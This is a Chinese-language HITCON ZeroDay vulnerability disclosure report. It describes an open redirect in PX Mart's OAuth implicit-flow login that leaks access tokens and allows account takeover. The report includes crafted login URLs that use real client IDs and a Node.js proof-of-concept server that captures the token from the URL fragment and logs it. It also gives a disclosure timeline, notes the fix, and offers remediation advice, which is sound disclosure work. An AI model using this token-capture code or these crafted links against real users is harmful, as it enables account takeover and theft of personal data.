全聯 官網/小時達/全電商平台 登入系統 Open Redirect caused Account Takeover - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00307
  •  發信 Vendor: 全聯實業
  • Title: 全聯 官網/小時達/全電商平台 登入系統 Open Redirect caused Account Takeover
  • Introduction: 攻擊者可以利用漏洞修改 redirect_uri 參數,使得用戶在不知情的情況下點擊連結,被重定向到攻擊者控制的網站

處理狀態

目前狀態

公開
Last Update : 2025/06/24
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2025/04/13 00:12:31 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/13 01:40:48 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/13 01:41:44 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/13 02:14:33 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/13 02:16:57 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/14 18:20:33 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/15 00:16:40 : 新提交 (由 CheN.. 更新此狀態)
  • 2025/04/16 20:35:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:02:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/13 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2025/06/16 10:21:15 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/23 07:19:48 : 確認已修補 (由 CheN.. 更新此狀態)
  • 2025/06/23 08:51:39 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/06/24 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00307
  • 通報者:SamChen_696 (CheN..)
  • 風險:嚴重
  • 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)

參考資料

攻擊者可利用該漏洞將受害者導向至惡意網站。

OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards

Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://alb.pxpay.com.tw/#/login?client_id=e790b859-22b7-4eeb-bfff-60d85c636f4a&response_type=token&redirect_uri=https://shop.pxgo.com.tw/mweb/?gad_source=1

https://alb.pxpay.com.tw/#/login?client_id=adc73953-90ef-4f8b-b289-272e2286b7ff&response_type=token&redirect_uri=https%3A%2F%2Fpxbox.es.pxmart.com.tw%2FmyPage

https://alb.pxpay.com.tw/#/login?client_id=4776caff-fc5c-4dc2-984a-3c01d4126bd1&response_type=token&redirect_uri=https%3A%2F%2Fwww.pxmart.com.tw%2Fmember%2Fcard

https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=[Your Token]

https://pxbox.es.pxmart.com.tw/myPage#access_token=[Your Token]

https://www.pxmart.com.tw/member/card#access_token=[Your Token]

敘述

註:已再次向我們公司報告此問題,為確保漏洞能得到妥善的修復,決定在hitcon平台通報此問題,平台有完善流程

概述

漏洞出現在全聯外送平台的登入流程中。當用戶成功登入後,本應正常重定向至預設頁面,但攻擊者可以利用漏洞修改 redirect_uri 參數,使得用戶在不知情的情況下點擊連結,被重定向到攻擊者控制的網站。重定向 URL 中包含 access token(例如 #access_token=...),攻擊者能夠輕易截獲並利用該 token 實現帳戶接管。使攻擊者能夠竊取用戶的基本信息(姓名、電話、住址 資料等),更可能直接操縱用戶帳戶進行未授權的訂單操作,嚴重破壞平台安全與用戶隱私。

重現步驟

  1. 在登入頁面構造惡意連結
    攻擊者可以構造如下連結,其中 redirect_uri 被設置為攻擊者控制的域名:
    https://alb.pxpay.com.tw/#/login?client_id=e790b859-22b7-4eeb-bfff-60d85c636f4a&response_type=token&redirect_uri=[ attacker web ]

  2. 觸發重定向與 token 泄露
    當用戶在已登入或曾經在瀏覽器中登入(留有快取/緩存)全聯帳號狀態下點擊該連結後,系統完成登入驗證後,會將用戶重定向至攻擊者指定的網站。觀察重定向後的 URL,發現其中包含 access token,例如:
    https://samchen.blog/index.html#access_token=eyJhbGciOXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXU
    攻擊者控制的網站部署以下程式碼,利用JavaScript 讀取 URL fragment,並將 token 傳送到攻擊者伺服器

Attacker Web PoC Code:

const express = require('express');
const app = express();
const port = 3000;

app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
      <head>
        <meta charset="UTF-8">
        <title>Fragment Get</title>
      </head>
      <body>
        <h1>Captured URL Fragment</h1>
        <p id="token"></p>
        <script>
          const token = document.location.hash;
          document.getElementById('token').textContent = token;
          console.log("Captured token:", token);
          fetch('/log', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({ token: token })
          })
          .then(response => response.text())
          .then(data => console.log('Server response:', data))
          .catch(error => console.error('Error:', error));
        </script>
      </body>
    </html>
  `);
});

app.post('/log', (req, res) => {
  console.log("Received token from client:", req.body.token);
  res.send("Token logged successfully");
});

app.listen(port, () => {
  console.log(`Server running at http://localhost:${port}`);
});

圖片
圖片
圖片

3.驗證帳戶接管
觀察到使用者進行登入驗證完電話號碼後給定的access token會透過“https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=”驗證。因此將截獲的 token 融入到下列 URL 中,模擬正常的驗證流程:“https://shop.pxgo.com.tw/mweb/?gad_source=1#/access_token=eyJhbGciOXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXU”訪問此 URL 時,系統將直接使用該 token 進行身份驗證,使攻擊者能夠接管該帳戶,而無需輸入密碼和完成電話驗證。
圖片

影響

  • 帳戶接管(ATO):
    攻擊者可利用竊取的 access token 直接接管用戶帳號,竊取用戶的敏感個資(包括姓名、電話、住址 資料等),對用戶隱私造成嚴重威脅。

  • 未授權訂單操作:利用接管的帳戶,攻擊者可在平台上進行未授權的訂餐操作。

  • 如果該漏洞被大規模利用,可能導致大量用戶的敏感數據外洩

  • 嚴重違反平台內提及的相關政策和條款,需得到妥善修補
    圖片

附註:

全電商與小時達使用相同的登入系統,故全電商平台同樣適用於此漏洞(已經測試)

Implicit flow 已被證實存在許多安全問題,不再推薦使用(Ex:就算登入網站redirect_uri 參數有正確限制白名單僅能重定向到域名shop.pxgo.com.tw和pxbox.es.pxmart.com.tw下,但如果今天攻擊者在此2個網域下找到開放重定向漏洞,就能藉此利用重定向鏈再次導向攻擊者網站竊取access token)

參考
https://blog.logto.io/implicit-flow-is-dead
https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-implicit-grant-flow
https://curity.io/resources/learn/oauth-implicit-flow/
https://sec.okta.com/articles/2021/02/stealing-oauth-tokens-open-redirects/

2025/04/15 Update

我發現全聯官網也使用該登入系統 經測試後同樣適用此漏洞,登入後可查看福利卡資訊,還有察覺到三個網站皆使用相同的access token,即受害人小時達帳號token遭竊取後 攻擊者可以使用該token登入官網和全電商平台,修補建議及其他資訊同上
圖片

修補建議

加強 redirect_uri 驗證:嚴格限制可用的重定向網址,僅允許預先定義的白名單域名,並拒絕任何非授權的 redirect_uri 請求

Access Token 保護:實施 token 使用次數或有效期限制,例如每個 token 只能使用一次,使用後即自動失效。

或是直接改用更安全的 OAuth 流程

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;